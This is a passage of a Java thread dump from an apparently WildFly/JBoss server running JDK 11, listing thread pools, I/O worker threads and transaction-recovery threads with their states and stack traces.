org.jboss.jts//com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread.run(ReaperWorkerThread.java:65) + +"ServerService Thread Pool -- 25" #50 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 27" #52 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 6" #31 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 57" #85 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-20" #128 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 53" #80 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 58" #88 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 23" #48 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Periodic Recovery" #137 [TIMED_WAITING] on java.lang.Object@40f90ff0 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/java.lang.Object.wait(Native Method) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doBackoffWait(PeriodicRecovery.java:668) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doWorkInternal(PeriodicRecovery.java:786) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.run(PeriodicRecovery.java:382) + +"ServerService Thread Pool -- 20" #45 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 29" #54 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-7" #22 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@e44d216 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 71" #101 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"management Accept" #87 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"XNIO-1 Accept" #135 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 21" #46 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 60" #90 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 76" #106 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@11.0.8/java.lang.ref.Reference.processPendingReferences(Reference.java:241) + at java.base@11.0.8/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:213) + +"MSC service thread 1-4" #19 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@e44d216 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 46" #73 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 52" #79 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 7" #32 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-12" #120 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 39" #64 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-5" #20 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@e44d216 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"default task-2" #156 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@a2d7390 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at org.jboss.xnio@3.8.4.Final//org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1280) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 51" #78 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 36" #61 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 66" #96 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@6dbcb01d + java.lang.Thread.State: WAITING + at java.base@11.0.8/java.lang.Object.wait(Native Method) + at java.base@11.0.8/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.8/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@11.0.8/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:170) + +"ServerService Thread Pool -- 15" #40 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 24" #49 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 9" #34 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 55" #82 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"DestroyJavaVM" #25 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 49" #76 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-2" #110 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"default I/O-18" #126 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"ServerService Thread Pool -- 47" #74 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"expiration-thread--p5-t1" #147 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@ddf33f4 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.8/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at org.jboss.as.clustering.common@23.0.2.Final//org.jboss.as.clustering.context.ContextReferenceExecutor.execute(ContextReferenceExecutor.java:49) + at org.jboss.as.clustering.common@23.0.2.Final//org.jboss.as.clustering.context.ContextualExecutor$1.run(ContextualExecutor.java:70) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"default I/O-17" #125 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 79" #148 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 2" #27 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 22" #47 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 3" #28 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 62" #92 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Common-Cleaner" #10 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@748d9fae + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/java.lang.Object.wait(Native Method) + at java.base@11.0.8/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.8/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:148) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at java.base@11.0.8/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:134) + +"ServerService Thread Pool -- 26" #51 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-8" #116 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at 